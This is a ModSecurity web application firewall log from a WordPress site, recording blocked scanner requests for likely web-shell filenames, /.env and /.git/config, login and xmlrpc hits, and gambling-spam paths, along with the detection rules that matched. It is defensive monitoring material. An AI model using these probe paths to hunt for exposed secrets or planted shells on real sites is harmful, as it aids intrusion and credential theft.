[Tue May 05 10:59:16.344965 2026] [:error] [pid 25745:tid 25805] [client 4.204.197.96:53638] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sys.php"] [unique_id "afldBJsd7hb7vrvCNBnBlQAAAMQ"]
[Tue May 05 10:59:16.774357 2026] [:error] [pid 25744:tid 25796] [client 4.204.197.96:53592] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sys.php"] [unique_id "afldBCR8IuyzjkW06ONwwgAAAJY"]
[Tue May 05 10:59:17.203928 2026] [:error] [pid 25835:tid 25855] [client 4.204.197.96:53572] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "afldBVDT5nGJyh1439w4MAAAARI"]
[Tue May 05 10:59:17.620499 2026] [:error] [pid 25745:tid 25815] [client 4.204.197.96:53608] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "afldBZsd7hb7vrvCNBnBmwAAAM4"]
[Tue May 05 10:59:18.055635 2026] [:error] [pid 25744:tid 25795] [client 4.204.197.96:53727] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "afldBiR8IuyzjkW06ONwxAAAAJU"]
[Tue May 05 10:59:18.470396 2026] [:error] [pid 25745:tid 25806] [client 4.204.197.96:53720] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "afldBpsd7hb7vrvCNBnBnwAAAMU"]
[Tue May 05 10:59:18.894800 2026] [:error] [pid 25743:tid 25757] [client 4.204.197.96:53759] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "afldBm-PCMRhF5DdUnNrsgAAAAo"]
[Tue May 05 10:59:19.336193 2026] [:error] [pid 25744:tid 25797] [client 4.204.197.96:53724] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "afldByR8IuyzjkW06ONwxgAAAJc"]
[Tue May 05 10:59:19.812537 2026] [:error] [pid 25835:tid 25858] [client 4.204.197.96:53689] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "afldB1DT5nGJyh1439w4MgAAARU"]
[Tue May 05 10:59:20.265089 2026] [:error] [pid 25745:tid 25815] [client 4.204.197.96:53527] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "afldCJsd7hb7vrvCNBnBpAAAAM4"]
[Tue May 05 10:59:20.744469 2026] [:error] [pid 25745:tid 25801] [client 4.204.197.96:53506] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "afldCJsd7hb7vrvCNBnBpQAAAMA"]
[Tue May 05 10:59:21.158385 2026] [:error] [pid 25744:tid 25777] [client 4.204.197.96:53577] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "afldCSR8IuyzjkW06ONwywAAAIM"]
[Tue May 05 10:59:21.589177 2026] [:error] [pid 25743:tid 25752] [client 4.204.197.96:53686] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "afldCW-PCMRhF5DdUnNruQAAAAU"]
[Tue May 05 12:21:50.954843 2026] [:error] [pid 25745:tid 25816] [client 141.94.139.189:40786] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.94.139.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aflwXpsd7hb7vrvCNBnhXAAAAM8"]
[Tue May 05 14:25:55.488835 2026] [:error] [pid 25745:tid 25818] [client 141.94.139.189:57744] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.94.139.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afmNc5sd7hb7vrvCNBkC4AAAANE"]
[Tue May 05 14:43:39.133876 2026] [:error] [pid 25745:tid 25813] [client 43.162.103.213:35042] [client 43.162.103.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afmRm5sd7hb7vrvCNBkHHAAAAMw"]
[Tue May 05 14:48:47.792161 2026] [:error] [pid 25835:tid 25838] [client 114.119.157.156:47415] [client 114.119.157.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afmSz1DT5nGJyh1439yVoAAAAQE"], referer: http://vetstars.com.au/
[Tue May 05 14:50:16.625417 2026] [:error] [pid 25745:tid 25818] [client 114.119.138.32:47339] [client 114.119.138.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/services"] [unique_id "afmTKJsd7hb7vrvCNBkIogAAANE"], referer: https://vetstars.com.au/caring-approach
[Tue May 05 15:00:03.210585 2026] [:error] [pid 25835:tid 25838] [client 157.245.154.48:48716] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.154.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afmVc1DT5nGJyh1439yZHgAAAQE"]
[Tue May 05 15:49:16.505807 2026] [:error] [pid 25745:tid 25820] [client 85.214.167.117:46200] [client 85.214.167.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.167.117, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afmg_Jsd7hb7vrvCNBkaOQAAANM"]
[Tue May 05 17:21:54.705494 2026] [:error] [pid 25835:tid 25850] [client 211.21.61.224:33928] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.224, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afm2slDT5nGJyh1439zCEAAAAQ0"]
[Tue May 05 17:43:29.929342 2026] [:error] [pid 25743:tid 25766] [client 43.166.226.186:51990] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afm7wW-PCMRhF5DdUnO1EgAAABM"]
[Tue May 05 17:51:17.314834 2026] [:error] [pid 25835:tid 25843] [client 39.100.88.232:45382] [client 39.100.88.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.100.88.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afm9lVDT5nGJyh1439zLRQAAAQY"]
[Tue May 05 18:49:53.487975 2026] [:error] [pid 2324:tid 2343] [client 216.73.216.111:50135] [client 216.73.216.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.111, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afnLUWqe2hrcI52A1HxW1AAAAVE"]
[Tue May 05 19:16:42.801412 2026] [:error] [pid 54732:tid 54753] [client 114.119.145.22:29873] [client 114.119.145.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/privacy-policy"] [unique_id "afnRmrGgYlDOb3nfuJQT-QAAAFM"], referer: https://vetstars.com.au/caring-approach
[Tue May 05 21:10:06.708787 2026] [:error] [pid 25835:tid 25856] [client 14.164.92.26:52668] [client 14.164.92.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.164.92.26, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afnsLlDT5nGJyh1439zn8gAAARM"]
[Tue May 05 22:18:35.757646 2026] [:error] [pid 25745:tid 25806] [client 194.62.107.97:55631] [client 194.62.107.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "afn8O5sd7hb7vrvCNBlXiQAAAMU"]
[Tue May 05 23:37:38.616401 2026] [:error] [pid 25743:tid 25756] [client 34.21.170.109:55646] [client 34.21.170.109] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "afoOwm-PCMRhF5DdUnMXaQAAAAk"]
[Wed May 06 00:03:24.378170 2026] [:error] [pid 2324:tid 2345] [client 103.39.132.40:59156] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.39.132.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afoUzGqe2hrcI52A1HzF_AAAAVM"]
[Wed May 06 00:08:30.151506 2026] [:error] [pid 25743:tid 25750] [client 170.106.193.108:44350] [client 170.106.193.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afoV_m-PCMRhF5DdUnMgywAAAAM"]
[Wed May 06 02:18:27.905768 2026] [:error] [pid 25744:tid 25785] [client 45.154.98.197:63265] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afo0cyR8IuyzjkW06OM0IAAAAIs"]
[Wed May 06 02:18:28.421384 2026] [:error] [pid 25743:tid 25761] [client 45.154.98.197:63429] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afo0dG-PCMRhF5DdUnM-xgAAAA4"]
[Wed May 06 02:18:28.969874 2026] [:error] [pid 25835:tid 25850] [client 45.154.98.197:63548] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afo0dFDT5nGJyh1439wQ7wAAAQ0"]
[Wed May 06 02:18:31.578345 2026] [:error] [pid 54732:tid 54758] [client 45.154.98.197:64162] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "afo0d7GgYlDOb3nfuJRbQQAAAFg"]
[Wed May 06 03:47:56.877841 2026] [:error] [pid 48759:tid 48834] [client 190.77.250.207:50546] [client 190.77.250.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.77.250.207, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afpJbKmcftH9JrQl_yGvbwAAAIw"]
[Wed May 06 03:48:06.464938 2026] [:error] [pid 48759:tid 48822] [client 35.242.254.186:33414] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.242.254.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afpJdqmcftH9JrQl_yGvfQAAAIA"]
[Wed May 06 03:52:07.603561 2026] [:error] [pid 48758:tid 48804] [client 95.217.109.26:40460] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afpKZzENoN-kMgC5tXgFWQAAAEk"]
[Wed May 06 03:52:10.277955 2026] [:error] [pid 48759:tid 48824] [client 95.217.109.26:40470] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afpKaqmcftH9JrQl_yGwwAAAAII"]
[Wed May 06 03:52:12.852790 2026] [:error] [pid 48759:tid 48833] [client 95.217.109.26:40484] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afpKbKmcftH9JrQl_yGwyQAAAIs"]
[Wed May 06 03:52:15.522563 2026] [:error] [pid 48867:tid 48877] [client 95.217.109.26:40496] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afpKb1ZQ-8ZcCbMZPy7guwAAAMc"]
[Wed May 06 03:52:18.202640 2026] [:error] [pid 48867:tid 48889] [client 95.217.109.26:52410] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afpKclZQ-8ZcCbMZPy7gwAAAANM"]
[Wed May 06 03:52:20.876580 2026] [:error] [pid 48759:tid 48832] [client 95.217.109.26:52424] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afpKdKmcftH9JrQl_yGw0gAAAIo"]
[Wed May 06 03:52:23.726820 2026] [:error] [pid 48757:tid 48774] [client 95.217.109.26:52430] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afpKd0AivC3C614LoA5U9QAAAAg"]
[Wed May 06 03:52:26.465252 2026] [:error] [pid 48757:tid 48767] [client 95.217.109.26:52436] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afpKekAivC3C614LoA5U-AAAAAE"]
[Wed May 06 03:52:28.916888 2026] [:error] [pid 48759:tid 48843] [client 95.217.109.26:60072] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afpKfKmcftH9JrQl_yGw4QAAAJU"]
[Wed May 06 03:52:31.416406 2026] [:error] [pid 48759:tid 48831] [client 95.217.109.26:60088] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afpKf6mcftH9JrQl_yGw5AAAAIk"]
[Wed May 06 03:52:34.094288 2026] [:error] [pid 48757:tid 48767] [client 95.217.109.26:60100] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afpKgkAivC3C614LoA5U_wAAAAE"]
[Wed May 06 03:52:36.898054 2026] [:error] [pid 48758:tid 48812] [client 95.217.109.26:57448] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afpKhDENoN-kMgC5tXgFawAAAFE"]
[Wed May 06 03:52:39.483878 2026] [:error] [pid 48867:tid 48873] [client 95.217.109.26:57452] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afpKh1ZQ-8ZcCbMZPy7gygAAAMM"]
[Wed May 06 03:52:42.251469 2026] [:error] [pid 48867:tid 48879] [client 95.217.109.26:57464] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afpKilZQ-8ZcCbMZPy7gzQAAAMk"]
[Wed May 06 03:52:44.788375 2026] [:error] [pid 48759:tid 48835] [client 95.217.109.26:57468] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afpKjKmcftH9JrQl_yGw7wAAAI0"]
[Wed May 06 03:52:47.440659 2026] [:error] [pid 48867:tid 48889] [client 95.217.109.26:52960] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afpKj1ZQ-8ZcCbMZPy7g0gAAANM"]
[Wed May 06 03:52:50.093355 2026] [:error] [pid 48757:tid 48768] [client 95.217.109.26:52972] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afpKkkAivC3C614LoA5VBwAAAAI"]
[Wed May 06 03:52:52.885023 2026] [:error] [pid 48757:tid 48770] [client 95.217.109.26:52984] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afpKlEAivC3C614LoA5VCQAAAAQ"]
